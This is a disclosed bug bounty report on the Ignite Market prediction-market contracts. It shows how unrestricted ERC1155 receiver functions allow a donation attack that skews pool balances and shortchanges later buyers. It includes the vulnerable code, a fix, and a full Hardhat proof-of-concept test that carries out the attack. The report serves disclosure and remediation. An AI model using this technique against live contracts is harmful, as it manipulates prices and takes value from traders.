Ignite Market Disclosed Report

Unrestricted ERC1155 Token Acceptance Leading to Pool Balance Manipulation

Created date
Jun 03 2025

Target

https://github.com/hackenproof-public/ignite-market-smart-contracts

Vulnerability Details

Summary

A donation attack is possible due to incorrectly implemented onERC1155BatchReceived and onERC1155Received functions, which can shift the weight/proportion assigned to each pool. All subsequent buys of that specific outcome/positionId will lead to buyers receiving less than they should (see PoC below). The original Gnosis FPMM contract (which this is a fork of) protects against this vulnerability by only accepting ERC115 transfers when operator is the FPMM contract address only, take a look

Vulnerability Details

The vulnerability exists in the ERC1155 receiver implementation:

function onERC1155Received(
    address operator,
    address from,
    uint256 id,
    uint256 value,
    bytes calldata data
) external override returns(bytes4) {
    return this.onERC1155Received.selector;
}

function onERC1155BatchReceived(
    address operator,
    address from,
    uint256[] calldata ids,
    uint256[] calldata values,
    bytes calldata data
) external override returns(bytes4) {
    return this.onERC1155BatchReceived.selector;
}

Impact

  1. Anyone can send ERC1155 tokens to the contract
  2. This can artificially inflate pool balances
  3. Affects calculations in calcBuyAmount and calcSellAmount
  4. Can be used to manipulate market prices
  5. May lead to incorrect fee calculations
  6. Could be used to drain funds from the contract

Recommended Fix

  1. Implement proper validation in receiver functions:
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    )
        external
        returns (bytes4)
    {
        if (operator == address(this)) {
            return this.onERC1155Received.selector;
        }
        return 0x0;
    }

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    )
        external
        returns (bytes4)
    {
        if (operator == address(this) && from == address(0)) {
            return this.onERC1155BatchReceived.selector;
        }
        return 0x0;
    }

Tools Used

  • Manual code review
  • Hardhat

Validation steps

Proof of Concept

add a .js file to contract/test/ directory and add the following snippet

const { expect } = require("chai");
const { ethers } = require("hardhat");
const {
    getConditionId,
    getPositionId,
    getCollectionId
} = require('./helpers/id-helpers.js');
const { randomHex } = require('./helpers/utils.js');

describe('FixedProductMarketMaker', function() {
    let creator, oracle, investor1, trader, trader2, investor2, treasury;
    const questionId = randomHex(32);
    const numOutcomes = 3; // 64 originally from gnosis tests
    let conditionId;
    let collectionIds;

    let conditionalTokens;
    let collateralToken;
    let fixedProductMarketMakerFactory;
    let positionIds;
    let fixedProductMarketMaker;
    const feeFactor = ethers.utils.parseEther("0.003"); // 0.3%
    const treasuryPercent = 100; // 1%
    const fundingThreshold = ethers.utils.parseUnits("100", 6); // 100 USDC
    let marketMakerPool;
    const DAY = 60 * 60 * 24;
    const endTime = Math.floor(new Date().getTime() / 1000) + DAY;
    const addedFunds1 = ethers.utils.parseUnits("100", 6);
    const initialDistribution = [];
    const expectedFundedAmounts = new Array(numOutcomes).fill(addedFunds1);

    before(async function () {
        [, creator, oracle, investor1, trader, trader2, investor2, treasury] = await ethers.getSigners();
        

        conditionId = getConditionId(oracle.address, questionId, numOutcomes);
        collectionIds = Array.from(
            { length: numOutcomes },
            (_, i) => getCollectionId(conditionId, BigInt(1) << BigInt(i))
        );


        const ConditionalTokens = await ethers.getContractFactory("ConditionalTokens");
        const WETH9 = await ethers.getContractFactory("MockCoin");
        const FixedProductMarketMakerFactory = await ethers.getContractFactory("FixedProductMarketMakerFactory");

        conditionalTokens = await ConditionalTokens.deploy();
        collateralToken = await WETH9.deploy();
        fixedProductMarketMakerFactory = await FixedProductMarketMakerFactory.deploy();

        positionIds = collectionIds.map(collectionId =>
            getPositionId(collateralToken.address, collectionId)
        );

        // Deploy FPMM
        await conditionalTokens.prepareCondition(oracle.address, questionId, numOutcomes);

        const createArgs = [
            conditionalTokens.address,
            collateralToken.address,
            [conditionId],
            feeFactor,
            treasuryPercent,
            treasury.address,
            fundingThreshold,
            endTime
        ];

        // Compute salt off-chain (should match the logic you use consistently)
        const salt = ethers.utils.keccak256(
            ethers.utils.defaultAbiCoder.encode(
                [
                    "address",      // creator
                    "string",       // name
                    "string",       // symbol
                    "address",      // conditionalTokens
                    "address",      // collateralToken
                    "bytes32[]",    // conditionIds
                    "uint256",      // fee
                    "uint256",      // treasuryPercent
                    "address",      // treasury
                    "uint256",      // fundingThreshold
                    "uint256"       // endTime
                ],
                [
                    creator.address,
                    "FPMM Shares",
                    "FPMM",
                    conditionalTokens.address,
                    collateralToken.address,
                    [conditionId],
                    feeFactor,
                    treasuryPercent,
                    treasury.address,
                    fundingThreshold,
                    endTime
                ]
            )
        );

        const predictedAddress = await fixedProductMarketMakerFactory
            .predictFixedProductMarketMakerAddress(salt);


        const createTx = await fixedProductMarketMakerFactory.connect(creator)
            .createFixedProductMarketMaker(
                conditionalTokens.address,
                collateralToken.address,
                [conditionId],
                feeFactor,
                treasuryPercent,
                treasury.address,
                fundingThreshold,
                endTime,
                salt
            );

        await expect(createTx)
            .to.emit(fixedProductMarketMakerFactory, 'FixedProductMarketMakerCreation')
            .withArgs(
                creator.address,
                predictedAddress,
                ...createArgs
            );


        fixedProductMarketMaker = await ethers.getContractAt(
            "FixedProductMarketMaker",
            predictedAddress
        );


        // Fund FPMM

        await collateralToken.connect(investor1).deposit({ value: addedFunds1 });
        await collateralToken.connect(investor1).approve(fixedProductMarketMaker.address, addedFunds1);


        const fundingTx = await fixedProductMarketMaker
            .connect(investor1)
            .addFunding(addedFunds1, initialDistribution);


        const fundingReceipt = await fundingTx.wait();
        const fundingEvent = fundingReceipt.events.find(
            e => e.event && e.event === 'FPMMFundingAdded'
        );


        expect(fundingEvent.args.funder).to.equal(investor1.address);
        expect(fundingEvent.args.sharesMinted).to.equal(addedFunds1);


        const amountsAdded = fundingEvent.args.amountsAdded;
        expect(amountsAdded.length).to.equal(expectedFundedAmounts.length);

        for (let i = 0; i < amountsAdded.length; i++) {
            expect(amountsAdded[i]).to.equal(expectedFundedAmounts[i]);
        }

        expect(await collateralToken.balanceOf(investor1.address)).to.equal(0);
        expect(await fixedProductMarketMaker.balanceOf(investor1.address)).to.equal(addedFunds1);
    });

    it('donation attack II', async function () {

        const investmentAmount = ethers.utils.parseUnits("10", 6);
        const buyOutcomeIndex = 1;


        await collateralToken.connect(trader).deposit({ value: investmentAmount });
        await collateralToken.connect(trader).approve(fixedProductMarketMaker.address, investmentAmount);
        const outcomeTokensToBuy = await fixedProductMarketMaker.calcBuyAmount(investmentAmount, buyOutcomeIndex);
        await fixedProductMarketMaker.connect(trader).buy(investmentAmount, buyOutcomeIndex, outcomeTokensToBuy);
        //
        await collateralToken.connect(trader2).deposit({ value: investmentAmount });
        await collateralToken.connect(trader2).approve(fixedProductMarketMaker.address, investmentAmount);
        let outcomeTokensToBuyBeforeDonationAttack = await fixedProductMarketMaker.calcBuyAmount(investmentAmount, 0);
        await fixedProductMarketMaker.connect(trader2).buy(investmentAmount, 0, outcomeTokensToBuyBeforeDonationAttack);
        outcomeTokensToBuyBeforeDonationAttack = await fixedProductMarketMaker.calcBuyAmount(investmentAmount, 0);

        // Only donate to a specific outcome (e.g., outcome 1)
        let sendAmounts = [];
        let idsToSend = [];
        for(let i = 0; i < positionIds.length; i++){            
            if (i === 1) { // Only donate outcome 1 tokens
                let balanceOfTrader = await conditionalTokens.balanceOf(trader.address, positionIds[i]);
                if (balanceOfTrader.gt(0)) {
                    sendAmounts.push(balanceOfTrader);
                    idsToSend.push(positionIds[i]);
                }
            }
        }
        
        if (idsToSend.length > 0) {
            await conditionalTokens.connect(trader).safeBatchTransferFrom(
                trader.address, 
                fixedProductMarketMaker.address, 
                idsToSend, 
                sendAmounts, 
                "0x"
            );
        }

        const outcomeTokensToBuyAfterDonationAttack = await fixedProductMarketMaker.calcBuyAmount(investmentAmount, 0);
        await collateralToken.connect(trader2).deposit({ value: investmentAmount });
        await collateralToken.connect(trader2).approve(fixedProductMarketMaker.address, investmentAmount);
        await fixedProductMarketMaker.connect(trader2).buy(investmentAmount, 0, outcomeTokensToBuyAfterDonationAttack);

        
        await conditionalTokens.connect(oracle).reportPayouts(questionId, [1, 0, 0]);

        const investor1Shares = await fixedProductMarketMaker.balanceOf(investor1.address);
        await fixedProductMarketMaker.connect(investor1).removeFunding(investor1Shares);
        const winningIndexSet = 1 << 0;
        for (let j = 0; j < 3; j++) {
            let investor;
            j > 0 ? investor = trader2 : investor = investor1;
            await conditionalTokens.connect(investor).redeemPositions(
                collateralToken.address,  
                ethers.constants.HashZero,  
                conditionId,  
                [winningIndexSet] 
            );
            
        }


        // Assert that the donation attack reduces buying power for that specific outcome
        expect(outcomeTokensToBuyAfterDonationAttack).to.be.lt(outcomeTokensToBuyBeforeDonationAttack);


    });
    
});


Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
High
Bounty$2,000
Visibilitypartially
VulnerabilityBlockchain
Participants (2)
author